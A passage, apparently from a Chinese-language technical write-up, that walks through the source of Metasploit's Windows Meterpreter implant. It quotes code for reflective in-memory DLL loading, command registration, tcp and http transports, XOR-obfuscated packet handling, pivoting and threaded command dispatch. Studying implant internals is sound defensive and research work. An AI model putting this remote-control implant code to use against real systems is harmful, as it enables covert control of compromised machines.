  dprintf("[LOADLIB] here 2");
                libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
  dprintf("[LOADLIB] here 3");
                flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

                // Invalid library path?
                if (!libraryPath)
                {
                        res = ERROR_INVALID_PARAMETER;
                        break;
                }
  dprintf("[LOADLIB] here 4");

                // If the lib does not exist locally, but is being uploaded...
                if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
                {
                        PCHAR targetPath;
                        Tlv dataTlv;

  dprintf("[LOADLIB] here 5");
                        // Get the library's file contents
                        if ((packet_get_tlv(packet, TLV_TYPE_DATA,
                                &dataTlv) != ERROR_SUCCESS) ||
                                (!(targetPath = packet_get_tlv_value_string(packet,
                                TLV_TYPE_TARGET_PATH))))
                        {
                                res = ERROR_INVALID_PARAMETER;
                                break;
                        }

  dprintf("[LOADLIB] here 6");
                        // If the library is not to be stored on disk, 
                        if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
                        {
                                LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
  dprintf("[LOADLIB] here 7");

                                // try to load the library via its reflective loader...
                                library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
  dprintf("[LOADLIB] here 8");
                                if (library == NULL)
                                {
                                        // if that fails, presumably besause the library doesn't support
                                        // reflective injection, we default to using libloader...
                                        library = libloader_load_library(targetPath,
                                                dataTlv.buffer, dataTlv.header.length);
                                }
                                else
                                {
                                        bLibLoadedReflectivly = TRUE;
                                }
  dprintf("[LOADLIB] here 9");

                                res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
                        }
                        else
                        {
                                // Otherwise, save the library buffer to disk
                                res = buffer_to_file(targetPath, dataTlv.buffer,
                                        dataTlv.header.length);
                        }

                        // Override the library path
                        libraryPath = targetPath;
                }

                // If a previous operation failed, break out.
                if (res != ERROR_SUCCESS)
                {
                        break;
                }

                // Load the library
                if (!library && !(library = LoadLibraryA(libraryPath)))
                {
                        res = GetLastError();
                }

                // If this library is supposed to be an extension library, try to
                // call its Init routine
                if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
                {
                        res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
                }

        } while (0);

  dprintf("[LOADLIB] here 10");
        if (response)
        {
                packet_transmit_response(res, remote, response);
        }
  dprintf("[LOADLIB] here 11");

        return res;
}
 

四、Windows Native C meterpreter

在经过meterpreter_loader执行后,metsrv模块已经被内存加载,并且控制权正式转移到了metsrv模块,开始执行DllMain。
  1. metsrv功能分析

该模块是主要的功能模块,主要实现以下功能:
  • 提供基础的api -> metapi
  • 提供基础命令
  • 建立与控制端的链接(tcp、http、https)
  • 插件加载和命令派发

1) metapi

typedef struct _MetApi
{
    PacketApi packet;
    CommandApi command;
    ThreadApi thread;
    LockApi lock;
    EventApi event;
    ChannelApi channel;
    SchedulerApi scheduler;
    StringApi string;
    InjectApi inject;
    DesktopApi desktop;
    ListApi list;
#ifdef DEBUGTRACE
    LoggingApi logging;
#endif
} MetApi;
提供一系列api给自身和插件使用,包括:
PacketApi
负责数据包的发送、接收、解析、加密
CommandApi
负责命令的注册、处理
ThreadApi
提供统一的线程操作
EventApi
提供统一的操作
ChannelApi
负责channel的管理
SchedulerApi
负责任务的管理和调度
StringApi
字符串,主要是UTF8 和 wchar的转换
InjectApi
注入相关的api
DesktopApi
在做桌面相关操作时提供更新桌面方法
ListApi
一个链表实现
LoggingApi
日志
每个插件在初始化时都会将metapi指针传入以供插件使用。
DWORD InitServerExtension(MetApi* api, Remote* remote)

2) 基础命令

metasploit-payloads\c\meterpreter\source\metsrv\server_setup.c
//一些基础指令包括模块加载、获取机器码、获取sessionguid等...
Command customCommands[] =
{
        COMMAND_REQ(COMMAND_ID_CORE_LOADLIB, request_core_loadlib),
        COMMAND_REQ(COMMAND_ID_CORE_ENUMEXTCMD, request_core_enumextcmd),
        COMMAND_REQ(COMMAND_ID_CORE_MACHINE_ID, request_core_machine_id),
        COMMAND_REQ(COMMAND_ID_CORE_GET_SESSION_GUID, request_core_get_session_guid),
        COMMAND_REQ(COMMAND_ID_CORE_SET_SESSION_GUID, request_core_set_session_guid),
        COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid),
        COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add),
        COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove),
        COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url),
        COMMAND_TERMINATOR
};

// 一些channel操作相关指令、tansport相关指令、Migration
Command baseCommands[] =
{
        // Console commands
        { COMMAND_ID_CORE_CONSOLE_WRITE,
                { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
                { remote_response_core_console_write, NULL, EMPTY_TLV },
        },

        // Native Channel commands
        // this overloads the COMMAND_ID_CORE_CHANNEL_OPEN in the base command list
        COMMAND_REQ_REP(COMMAND_ID_CORE_CHANNEL_OPEN, remote_request_core_channel_open, remote_response_core_channel_open),
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_WRITE, remote_request_core_channel_write),
        COMMAND_REQ_REP(COMMAND_ID_CORE_CHANNEL_CLOSE, remote_request_core_channel_close, remote_response_core_channel_close),

        // Buffered/Pool channel commands
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_READ, remote_request_core_channel_read),
        // Pool channel commands
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_SEEK, remote_request_core_channel_seek),
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_EOF, remote_request_core_channel_eof),
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_TELL, remote_request_core_channel_tell),
        // Soon to be deprecated
        COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_INTERACT, remote_request_core_channel_interact),
        // Packet Encryption
        COMMAND_REQ(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION, request_negotiate_aes_key),
        // timeouts
        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS, remote_request_core_transport_set_timeouts),

        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH, remote_request_core_transport_getcerthash),
        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH, remote_request_core_transport_setcerthash),

        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_LIST, remote_request_core_transport_list),
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_SLEEP, remote_request_core_transport_sleep),
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_CHANGE, remote_request_core_transport_change),
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_NEXT, remote_request_core_transport_next),
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_PREV, remote_request_core_transport_prev),
        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_ADD, remote_request_core_transport_add),
        COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_REMOVE, remote_request_core_transport_remove),
        // Migration
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_MIGRATE, remote_request_core_migrate),
        // Shutdown
        COMMAND_INLINE_REQ(COMMAND_ID_CORE_SHUTDOWN, remote_request_core_shutdown),
        // Terminator
        COMMAND_TERMINATOR
};
......
VOID register_dispatch_routines()
{
        gExtensionList = list_create();

        Command* pFirstCommand = register_base_dispatch_routines();
        command_register_all(customCommands);

        PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
        if (pExtension) {
                memset(pExtension, 0, sizeof(EXTENSION));
                pExtension->deinit = deinit_server_extension;
                pExtension->end = pFirstCommand;
                pExtension->start = extensionCommands;
                list_push(gExtensionList, pExtension);
                dprintf("[CORE] Registered the core pseudo extension %p", pExtension);
        }
}

Command* register_base_dispatch_routines(void)
{
        Command* pFirstCommand = NULL;
        command_register_all(baseCommands);

        pFirstCommand = extensionCommands;
        while (pFirstCommand && pFirstCommand->command_id != baseCommands[0].command_id) {
                pFirstCommand = pFirstCommand->next;
        }
        return pFirstCommand;
}        
首先需要注册一系列的基础指令,以确保基本的功能。
3)Transport建立
  • 第一步是根据配置文件来创建所有的tansport,根据不同的类型来创建不同的transport(tcp、http、pipe)
static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
{
        DWORD totalSize = 0;
        MetsrvTransportCommon* current = transports;

        // The first part of the transport is always the URL, if it's NULL, we are done.
        while (current->url[0] != 0)
        {
                DWORD size;
                if (create_transport(remote, current, &size) != NULL)
                {
                        dprintf("[TRANS] transport created of size %u", size);
                        totalSize += size;

                        // go to the next transport based on the size of the existing one.
                        current = (MetsrvTransportCommon*)((LPBYTE)current + size);
                }
                else
                {
                        // This is not good
                        return FALSE;
                }
        }

        // account for the last terminating NULL wchar
        *parsedSize = totalSize + sizeof(wchar_t);

        return TRUE;
}

static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size)
{
        Transport* transport = NULL;
        dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url);
        dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout);
        dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total);
        dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait);

        if (wcsncmp(transportCommon->url, L"tcp", 3) == 0)
        {
                transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size);
        }
        else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0)
        {
                transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size);
        }
        else
        {
                transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size);
        }

        if (transport == NULL)
        {
                // something went wrong
                return NULL;
        }

        // always insert at the tail. The first transport will be the one that kicked everything off
        if (remote->transport == NULL)
        {
                // point to itself, as this is the first transport.
                transport->next_transport = transport->prev_transport = transport;
                remote->transport = transport;
        }
        else
        {
                transport->prev_transport = remote->transport->prev_transport;
                transport->next_transport = remote->transport;

                remote->transport->prev_transport->next_transport = transport;
                remote->transport->prev_transport = transport;
        }

        return transport;
}
不同类型的transport有不同的实现
server_transport_tcp.h
server_transport_named_pipe.h
server_transport_winhttp.h
server_transport_wininet.h
server_transport_tcp.h为例:
/*!
 * @brief Creates a new TCP transport instance.
 * @param config The TCP configuration block.
 * @param size Pointer to the size of the parsed config block.
 * @return Pointer to the newly configured/created TCP transport instance.
 */
Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size)
{
        Transport* transport = (Transport*)malloc(sizeof(Transport));
        TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));

        if (size)
        {
                *size = sizeof(MetsrvTransportTcp);
        }

        dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url);

        memset(transport, 0, sizeof(Transport));
        memset(ctx, 0, sizeof(TcpTransportContext));

        transport->type = METERPRETER_TRANSPORT_TCP;
        //配置中的参数
        transport->timeouts.comms = config->common.comms_timeout;
        transport->timeouts.retry_total = config->common.retry_total;
        transport->timeouts.retry_wait = config->common.retry_wait;
        transport->url = _wcsdup(config->common.url);
        //各种init、destory、transmit等方法的函数
        //只要提供对应的实现,不同的transport调用都相同,类似于基类
        transport->packet_transmit = packet_transmit_tcp;
        transport->transport_init = configure_tcp_connection;
        transport->transport_destroy = transport_destroy_tcp;
        transport->transport_reset = transport_reset_tcp;
        transport->server_dispatch = server_dispatch_tcp;
        transport->get_handle = transport_get_handle_tcp;
        transport->set_handle = transport_set_handle_tcp;
        transport->ctx = ctx;
        transport->comms_last_packet = current_unix_timestamp();
        transport->get_migrate_context = get_migrate_context_tcp;
        transport->get_config_size = transport_get_config_size_tcp;

        return transport;
}

3) 建立连接

/*!
 * @brief Setup and run the server. This is called from Init via the loader.
 * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
 * @return Meterpreter exit code (ignored by the caller).
 */
DWORD server_setup(MetsrvConfig* config)
{
        THREAD* serverThread = NULL;
        Remote* remote = NULL;
        char stationName[256] = { 0 };
        char desktopName[256] = { 0 };
        DWORD res = 0;
......
        srand((unsigned int)time(NULL));

        __try
        {
                do
                {
                        // Open a THREAD item for the servers main thread, we use this to manage migration later.
                        // server线程,主要的派发线程
                        serverThread = thread_open();

                       ......

                        DWORD transportSize = 0;
                        // 创建所有的transports
                        if (!create_transports(remote, config->transports, &transportSize))
                        {
                                // not good, bail out!
                                SetLastError(ERROR_BAD_ARGUMENTS);
                                break;
                        }

                        dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
                        // 如果是TCP的话这里就会将之前存在config中的socket给transport,实现了对socket的复用
                        if (remote->transport->set_handle)
                        {
                                remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
                        }

                        // Set up the transport creation function pointer
                        remote->trans_create = create_transport;
                        // Set up the transport removal function pointer
                        remote->trans_remove = remove_transport;
                        // and the config creation pointer
                        remote->config_create = config_create;

                        // Store our thread handle
                        remote->server_thread = serverThread->handle;

                        ......
                        
                        while (remote->transport)
                        {
                                if (remote->transport->transport_init)
                                {
                                        dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
                                        // Each transport has its own set of retry settings and each should honour
                                        // them individually.
                                        // transport初始化
                                        if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
                                        {
                                                dprintf("[SERVER] transport initialisation failed, moving to the next transport");
                                                remote->transport = remote->transport->next_transport;

                                                // when we have a list of transports, we'll iterate to the next one.
                                                continue;
                                        }
                                }

                                dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
                                //主要的服务线程
                                DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);

                                dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
                                if (remote->transport->transport_deinit)
                                {
                                        dprintf("[DISPATCH] deinitialising transport");
                                        remote->transport->transport_deinit(remote->transport);
                                }

                                dprintf("[TRANS] resetting transport");
                                if (remote->transport->transport_reset)
                                {
                                        remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
                                }

                                // If the transport mechanism failed, then we should loop until we're able to connect back again.
                                if (dispatchResult == ERROR_SUCCESS)
                                {
                                        dprintf("[DISPATCH] Server requested shutdown of dispatch");
                                        // But if it was successful, and this is a valid exit, then we should clean up and leave.
                                        if (remote->next_transport == NULL)
                                        {
                                                dprintf("[DISPATCH] No next transport specified, leaving");
                                                // we weren't asked to switch transports, so we exit.
                                                break;
                                        }

                                        // we need to change transports to the one we've been given. We will assume, for now,
                                        // that the transport has been created using the appropriate functions and that it is
                                        // part of the transport list.
                                        dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
                                        remote->transport = remote->next_transport;
                                        remote->next_transport = NULL;
                                }
                                else
                                {
                                        // move to the next one in the list
                                        // 转到下一个transport
                                        dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
                                        remote->transport = remote->transport->next_transport;
                                }

                                // transport switching and failover both need to support the waiting functionality.
                                if (remote->next_transport_wait > 0)
                                {
                                        dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);

                                        sleep(remote->next_transport_wait);

                                        // the wait is a once-off thing, needs to be reset each time
                                        remote->next_transport_wait = 0;
                                }

                                // if we had an encryption context we should clear it up.
                                free_encryption_context(remote);
                        }

                        // clean up the transports
                        while (remote->transport)
                        {
                                remove_transport(remote, remote->transport);
                        }

                        dprintf("[SERVER] Deregistering dispatch routines...");
                        deregister_dispatch_routines(remote);
                } while (0);

        ......

        dprintf("[SERVER] Finished.");
        return res;
}
tcp服务处理线程
metasploit-payloads\c\meterpreter\source\metsrv\server_transport_tcp.c
/*!
 * @brief The servers main dispatch loop for incoming requests using TCP
 * @param remote Pointer to the remote endpoint for this server connection.
 * @param dispatchThread Pointer to the main dispatch thread.
 * @returns Indication of success or failure.
 */
static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread)
{
        Transport* transport = remote->transport;
        BOOL running = TRUE;
        LONG result = ERROR_SUCCESS;
        Packet * packet = NULL;
        THREAD * cpt = NULL;

        dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);

        int lastPacket = current_unix_timestamp();
        while (running)
        {
                if (event_poll(dispatchThread->sigterm, 0))
                {
                        dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
                        break;
                }

                result = server_socket_poll(remote, 50000);
                if (result > 0)
                {
                        //接收packet
                        result = packet_receive(remote, &packet);
                        if (result != ERROR_SUCCESS)
                        {
                                dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
                                break;
                        }

                        if (packet == NULL)
                        {
                                dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled.");
                        }
                        else
                        {
                                //命令分发
                                running = command_handle(remote, packet);
                                dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
                        }

                        // packet received, reset the timer
                        lastPacket = current_unix_timestamp();
                }
                else if (result == 0)
                {
                        // check if the communication has timed out, or the session has expired, so we should terminate the session
                        int now = current_unix_timestamp();
                        if (remote->sess_expiry_end && now > remote->sess_expiry_end)
                        {
                                result = ERROR_SUCCESS;
                                dprintf("[DISPATCH] session has ended");
                                break;
                        }
                        else if ((now - lastPacket) > transport->timeouts.comms)
                        {
                                result = ERROR_NETWORK_NOT_AVAILABLE;
                                dprintf("[DISPATCH] communications has timed out");
                                break;
                        }
                }
                else
                {
                        dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
                        break;
                }
        }

        dprintf("[DISPATCH] leaving server_dispatch.");

        return result;
}
packet的接收
这里分成了两种情况,接收metsrv和普通packet,做了通用处理,通过判断xor_key的高位是否为零来区分。
typedef struct
{
        BYTE xor_key[4];   //xor加密密钥
        BYTE session_guid[sizeof(GUID)];
        DWORD enc_flags;
        DWORD length;
        DWORD type;
} PacketHeader;

typedef struct
{
        DWORD length;
        DWORD type;
} TlvHeader;

/*!
 * @brief Receive a new packet on the given remote endpoint.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to a pointer that will receive the \c Packet data.
 * @return An indication of the result of processing the transmission request.
 */
static DWORD packet_receive(Remote *remote, Packet **packet)
{
        DWORD headerBytes = 0, payloadBytesLeft = 0, res;
        Packet *localPacket = NULL;
        PacketHeader header = { 0 };
        int bytesRead;
        BOOL inHeader = TRUE;
        PUCHAR packetBuffer = NULL;
        ULONG payloadLength;
        TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;

        lock_acquire(remote->lock);

        dprintf("[TCP PACKET RECEIVE] reading in the header");
        // Read the packet length
        while (inHeader)
        {
                //获取packet的头
                if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
                {
                        SetLastError(ERROR_NOT_FOUND);
                        goto out;
                }

                headerBytes += bytesRead;

                if (headerBytes != sizeof(PacketHeader))
                {
                        continue;
                }

                inHeader = FALSE;
        }

        if (headerBytes != sizeof(PacketHeader))
        {
                dprintf("[TCP] we didn't get enough header bytes");
                goto out;
        }

        dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]);

#ifdef DEBUGTRACE
        PUCHAR h = (PUCHAR)&header;
        vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
                h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif

        // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data
        // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following:
        // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it
        // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big).
        // 判断xor_key是否存在xor_key,xor_key是4字节非空,那此时代表的是文件长度即metsrv长度
        // 由于共用了同一个函数,所以这样处理,读取的可能是TLV Packet也可能是重连后的发送的stage
        if (header.xor_key[3] == 0)
        {
                // looks like we have a metsrv instance, time to ignore it.
                int length = *(int*)&header.xor_key[0];
                dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length);

                int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD);
                char buffer[65535];

                while (bytesToRead > 0)
                {
                        int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0);

                        if (bytesRead < 0)
                        {
                                if (GetLastError() == WSAEWOULDBLOCK)
                                {
                                        continue;
                                }
                                SetLastError(ERROR_NOT_FOUND);
                                break;
                        }

                        bytesToRead -= bytesRead;
                }

                // did something go wrong.
                if (bytesToRead > 0)
                {
                        goto out;
                }

                // indicate success, but don't return a packet for processing
                SetLastError(ERROR_SUCCESS);
                *packet = NULL;
        }
        else
        {
                vdprintf("[TCP] XOR key looks fine, moving on");
                PacketHeader encodedHeader;
                memcpy(&encodedHeader, &header, sizeof(PacketHeader));
                // xor the header data
                // 解密header数据
                xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key));
#ifdef DEBUGTRACE
                PUCHAR h = (PUCHAR)&header;
                vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
                        h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
                payloadLength = ntohl(header.length) - sizeof(TlvHeader);
                vdprintf("[TCP] Payload length is %d", payloadLength);
                DWORD packetSize = sizeof(PacketHeader) + payloadLength;
                vdprintf("[TCP] total buffer size for the packet is %d", packetSize);
                payloadBytesLeft = payloadLength;

                // Allocate the payload
                if (!(packetBuffer = (PUCHAR)malloc(packetSize)))
                {
                        dprintf("[TCP] Failed to create the packet buffer");
                        SetLastError(ERROR_NOT_ENOUGH_MEMORY);
                        goto out;
                }
                dprintf("[TCP] Allocated packet buffer at %p", packetBuffer);

                // Copy the packet header stuff over to the packet
                memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader));

                LPBYTE payload = packetBuffer + sizeof(PacketHeader);

                // Read the payload
                // 接收剩余的数据
                while (payloadBytesLeft > 0)
                {
                        if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0)
                        {

                                if (GetLastError() == WSAEWOULDBLOCK)
                                {
                                        continue;
                                }

                                if (bytesRead < 0)
                                {
                                        SetLastError(ERROR_NOT_FOUND);
                                }
                                goto out;
                        }

                        payloadBytesLeft -= bytesRead;
                }

                // Didn't finish?
                if (payloadBytesLeft)
                {
                        dprintf("[TCP] Failed to get all the payload bytes");
                        goto out;
                }

#ifdef DEBUGTRACE
                h = (PUCHAR)&header.session_guid[0];
                dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
                        h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
#endif
                if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0)
                {
                        dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet");
                        // 解密packet
                        SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize));
                }
                else
                {
                        dprintf("[TCP] Session GUIDs don't match, looking for a pivot");
                        PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid);
                        if (pivotCtx != NULL)
                        {
                                dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)");
                                SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize));

                                // mark this packet buffer as NULL as the thread will clean it up
                                packetBuffer = NULL;
                                *packet = NULL;
                        }
                        else
                        {
                                dprintf("[TCP] Session GUIDs don't match, can't find pivot!");
                        }
                }
        }

out:
        res = GetLastError();

        dprintf("[TCP] Freeing stuff up");
        SAFE_FREE(packetBuffer);

        // Cleanup on failure
        if (res != ERROR_SUCCESS)
        {
                SAFE_FREE(localPacket);
        }

        lock_release(remote->lock);
        dprintf("[TCP] Packet receive finished");

        return res;
}

4) 命令派发

packet接收后根据命令的TLV_TYPE_COMMAND_ID进行派发,由各插件注册过的处理过程进行处理
这里派发分两种
一种叫inline是直接在服务主线程处理,这种主要是transport切换、休眠,或者做migrate或者结束时使用。
另一种是非inline的普通命令,大部分插件的命令属于这种,是通过另开一个线程去处理,保证服务线程的稳定
/*!
 * @brief Handle an incoming command.
 * @param remote Pointer to the \c Remote instance associated with this command.
 * @param packet Pointer to the \c Packet containing the command data.
 * @retval TRUE The server can and should continue processing.
 * @retval FALSE The server should stop processing and shut down.
 * @remark This function was incorporate to help support two things in meterpreter:
 *         -# A way of allowing a command to be processed directly on the main server
 *            thread and not on another thread (which in some cases can cause problems).
 *         -# A cleaner way of shutting down the server so that container processes
 *            can shutdown cleanly themselves, where appropriate.
 *
 *         This function will look at the command definition and determine if it should
 *         be executed inline or on a new command thread.
 * @sa command_process_inline
 * @sa command_process_thread
 */
BOOL command_handle(Remote *remote, Packet *packet)
{
        BOOL result = TRUE;
        THREAD* cpt = NULL;
        Command* command = NULL;
        Packet* response = NULL;

        UINT commandId = packet_get_tlv_value_uint(packet, TLV_TYPE_COMMAND_ID);

        do
        {

                if (commandId == 0)
                {
                        dprintf("[COMMAND] Unable to extract commandId from packet.");
                        break;
                }

                command = command_locate_extension(commandId);

                if (command == NULL)
                {
                        dprintf("[DISPATCH] Command not found: %u", commandId);
                        // We have no matching command for this packet, so it won't get handled. We
                        // need to send an empty response and clean up here before exiting out.
                        response = packet_create_response(packet);
                        if (packet->local)
                        {
                                packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED);
                        }
                        else
                        {
                                packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
                                packet_destroy(packet);
                        }
                        break;
                }

                // if either command is registered as inline, run them inline
                if ((command && command_is_inline(command, packet))
                        || packet->local)
                {
                        // 派发inline命令
                        dprintf("[DISPATCH] Executing inline: %u", commandId);
                        result = command_process_inline(command, remote, packet);
                        dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result);
                }
                else
                {
                        dprintf("[DISPATCH] Executing in thread: %u", commandId);
                        // 非inline命令另开线程处理
                        cpt = thread_create(command_process_thread, remote, packet, command);
                        if (cpt)
                        {
                                dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle);
                                thread_run(cpt);
                        }
                }
        } while (0);

        return result;
}
不管inline或者不是inline最终处理都在command_process_inline中,只是执行线程的区别,command_process_inline代码如下:
/*!
 * @brief Process a command directly on the current thread.
 * @param command Pointer to the \c Command in the extension command list to be executed.
 * @param remote Pointer to the \c Remote endpoint for this command.
 * @param packet Pointer to the \c Packet containing the command detail.
 * @returns Boolean value indicating if the server should continue processing.
 * @retval TRUE The server can and should continue processing.
 * @retval FALSE The server should stop processing and shut down.
 * @sa command_handle
 * @sa command_process_thread
 * @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand
 *          then the result of the \c baseCommand processing is ignored and the result of
 *          \c extensionCommand is returned instead.
 */
BOOL command_process_inline(Command *command, Remote *remote, Packet *packet)
{
        DWORD result;
        BOOL serverContinue = TRUE;
        Tlv requestIdTlv;
        PCHAR requestId;
        PacketTlvType packetTlvType;
        UINT commandId = 0;

        __try
        {
                do
                {
                        commandId = command->command_id;
                        dprintf("[COMMAND] Executing command %u", commandId);

                        // Impersonate the thread token if needed (only on Windows)
                        if (remote->server_token != remote->thread_token)
                        {
                                if (!ImpersonateLoggedOnUser(remote->thread_token))
                                {
                                        dprintf("[COMMAND] Failed to impersonate thread token (%u) (%u)", commandId, GetLastError());
                                }
                        }

                        // Validate the arguments, if requested.  Always make sure argument
                        // lengths are sane.
                        if (command_validate_arguments(command, packet) != ERROR_SUCCESS)
                        {
                                dprintf("[COMMAND] Command arguments failed to validate");
                                continue;
                        }

                        packetTlvType = packet_get_type(packet);
                        dprintf("[DISPATCH] Packet type for %u is %u", commandId, packetTlvType);
                        //根据包Tlv类型来调用不同的处理过程
                        //每个command都是插件或metsrv注册的,其中有命令处理的handler
                        //前面有关于如何注册命令的代码,可对照参看
                        switch (packetTlvType)
                        {
                        case PACKET_TLV_TYPE_REQUEST:
                        case PACKET_TLV_TYPE_PLAIN_REQUEST:
